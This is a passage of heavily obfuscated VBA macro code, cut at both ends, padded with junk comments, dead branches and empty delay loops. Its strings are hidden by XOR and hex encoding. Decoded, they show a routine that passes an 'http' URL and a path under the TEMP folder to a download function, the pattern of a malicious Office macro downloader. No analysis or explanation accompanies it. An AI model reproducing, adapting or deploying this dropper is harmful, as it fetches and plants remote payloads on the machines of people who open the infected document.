ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("213B19090B0C3B23656B"), Hextostring("74694E5159"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len(XORI(Hextostring("360E041C3C263A3A78767C49"), Hextostring("624C454D714443"))) = Len(XORI(Hextostring("1D330638300B001B"), Hextostring("515A5171467869"))) Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PvFnBvZe As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PvFnBvZe = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim bVDsMEJT As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For bVDsMEJT = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next bVDsMEJT 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PvFnBvZe 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim CdXAANmp As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For CdXAANmp = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next CdXAANmp 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("171F3D3B1B536C734C"), Hextostring("526D4F5469734D"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim oIlyNVlF As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For oIlyNVlF = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim XllObLEl As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For XllObLEl = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next XllObLEl 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next oIlyNVlF 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim KLqlBKsn As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For KLqlBKsn = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next KLqlBKsn 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End Function 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Sub DRBDBIEYZQO() 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 871414 = 871414 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 2769 < 11 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim WhzvCyaA As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For WhzvCyaA = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim DMXXfuzi As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For DMXXfuzi = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next DMXXfuzi 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next WhzvCyaA 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim fHFvpnwU As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For fHFvpnwU = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next fHFvpnwU 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("04030F0D23132122517C"), Hextostring("4E4162"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len(XORI(Hextostring("07162E053E3C0323627C4663"), Hextostring("775A46514A"))) = Len(XORI(Hextostring("021B19123626052B"), Hextostring("6E4E5A536C69"))) Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim XuGxlNBQ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For XuGxlNBQ = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim mVAEChBz As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For mVAEChBz = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next mVAEChBz 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next XuGxlNBQ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim RKAZNayM As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For RKAZNayM = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next RKAZNayM 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("2A3F342D3F45524E6C"), Hextostring("6F4D46424D6573"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim LAemszLB As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For LAemszLB = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim MNKgJAAQ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For MNKgJAAQ = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next MNKgJAAQ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next LAemszLB 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ZrnUDFDu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ZrnUDFDu = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ZrnUDFDu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó fdGIVJK = XORI(Hextostring("2A381E1572666D280B173C3D2D23060C262A6C2F050867233163080C266727340F"), Hextostring("424C6A654849")) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 153379 = 153379 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 5233 < 17 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim QmuzRrxl As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For QmuzRrxl = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim WCysYfBf As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For WCysYfBf = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next WCysYfBf 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next QmuzRrxl 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim tJuqOByu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For tJuqOByu = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next tJuqOByu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("281505383E1D2400787D"), Hextostring("4A4F514D"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len(XORI(Hextostring("0A1134203B2439237A767870"), Hextostring("42424146"))) = Len(XORI(Hextostring("0119052B1604323E"), Hextostring("6A7155"))) Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim vHQPxsCJ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For vHQPxsCJ = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim adgZqHbj As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For adgZqHbj = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next adgZqHbj 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next vHQPxsCJ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PgzTesdy As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PgzTesdy = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PgzTesdy 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("2D0A33070A61495960"), Hextostring("687841"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim xorkdxlv As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For xorkdxlv = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim SapNjNsq As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For SapNjNsq = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next SapNjNsq 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next xorkdxlv 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim BZLdOUiV As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For BZLdOUiV = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next BZLdOUiV 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó QOZMTJITZON fdGIVJK, Environ(XORI(Hextostring("22112733"), Hextostring("76546A634C"))) & XORI(Hextostring("2B082221350B3E2B301B2D3C59340C1C"), Hextostring("77517479")) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End Sub 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Public Function XORI(ByVal BkyQYyHTwPu As String, ByVal lKlwqIrOyIOKQn As String) As String Dim JLUsnQSzFZh As Long For JLUsnQSzFZh = 1 To Len(BkyQYyHTwPu) Dim EWHGnjis, oJcpDSNe, FSyRNuJW As String Dim TECasFke As Integer TECasFke = 4 Do While TECasFke < 16 DoEvents: TECasFke = TECasFke + 1 Loop EWHGnjis = " CRUDMA " Dim wSIsSVIl As Integer wSIsSVIl = 5 Do While wSIsSVIl < 51 DoEvents: wSIsSVIl = wSIsSVIl + 1 Loop oJcpDSNe = LTrim(EWHGnjis) Dim lrisqeHY As Integer lrisqeHY = 2 Do While lrisqeHY < 82 DoEvents: lrisqeHY = lrisqeHY + 1 Loop FSyRNuJW = RTrim(oJcpDSNe) Dim VwZYsxvf As Integer VwZYsxvf = 9 Do While VwZYsxvf < 45 DoEvents: VwZYsxvf = VwZYsxvf + 1 Loop XORI = XORI & Chr(Asc(Mid(lKlwqIrOyIOKQn, IIf(JLUsnQSzFZh Mod Len(lKlwqIrOyIOKQn) <> 0, JLUsnQSzFZh Mod Len(lKlwqIrOyIOKQn), Len(lKlwqIrOyIOKQn)), 1)) Xor Asc(Mid(BkyQYyHTwPu, JLUsnQSzFZh, 1))) Next JLUsnQSzFZh End Function Public Function Hextostring(ByVal ieechSZgxYQ As String) As String Dim dgYwaEC As String Dim Ztjaoyh As String Dim TTvEQs As Long For TTvEQs = 1 To Len(ieechSZgxYQ) Step 2 Dim FtHnzrUL, eWXriGLA, TyqVJdZX As String Dim GnUfEAHv As Integer GnUfEAHv = 5 Do While GnUfEAHv < 36 DoEvents: GnUfEAHv = GnUfEAHv + 1 Loop FtHnzrUL = " PQWAQS " Dim vxVVvLAN As Integer vxVVvLAN = 5 Do While vxVVvLAN < 57 DoEvents: vxVVvLAN = vxVVvLAN + 1 Loop eWXriGLA = LTrim(FtHnzrUL) Dim cbQXLJda As Integer cbQXLJda = 2 Do While cbQXLJda < 96 DoEvents: cbQXLJda = cbQXLJda + 1 Loop TyqVJdZX = RTrim(eWXriGLA) Dim SJfDNEUa As Integer SJfDNEUa = 5 Do While SJfDNEUa < 29 DoEvents: SJfDNEUa = SJfDNEUa + 1 Loop dgYwaEC = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(ieechSZgxYQ, TTvEQs, 2))) Dim RRwLlsDh, ZhBTkflG, FwQILzxB As String Dim LBaFiwpy As Integer LBaFiwpy = 9 Do While LBaFiwpy < 31 DoEvents: LBaFiwpy = LBaFiwpy + 1 Loop RRwLlsDh = " DABYVI " Dim kswymWaO As Integer kswymWaO = 1 Do While kswymWaO < 22 DoEvents: kswymWaO = kswymWaO + 1 Loop ZhBTkflG = LTrim(RRwLlsDh) Dim uwujWtkN As Integer uwujWtkN = 2 Do While uwujWtkN < 89 DoEvents: uwujWtkN = uwujWtkN + 1 Loop FwQILzxB = RTrim(ZhBTkflG) Dim rGlgFidd As Integer rGlgFidd = 1 Do While rGlgFidd < 83 DoEvents: rGlgFidd = rGlgFidd + 1 Loop Ztjaoyh = Ztjaoyh & dgYwaEC Next TTvEQs Dim sufqARtv, uicxXIZn, eiIIjDNA As String Dim OyVCZAKz As Integer OyVCZAKz = 5 Do While OyVCZAKz < 74 DoEvents: OyVCZAKz = OyVCZAKz + 1 Loop sufqARtv = " SJOPTO " Dim CEWsAszF As Integer CEWsAszF = 7 Do While CEWsAszF < 46 DoEvents: CEWsAszF = CEWsAszF + 1 Loop uicxXIZn = LTrim(sufqARtv) Dim MWmsNhqa As Integer MWmsNhqa = 9 Do While MWmsNhqa < 92 DoEvents: MWmsNhqa = MWmsNhqa + 1 Loop eiIIjDNA = RTrim(uicxXIZn) Dim OuKmWcfl As Integer OuKmWcfl = 7 Do While 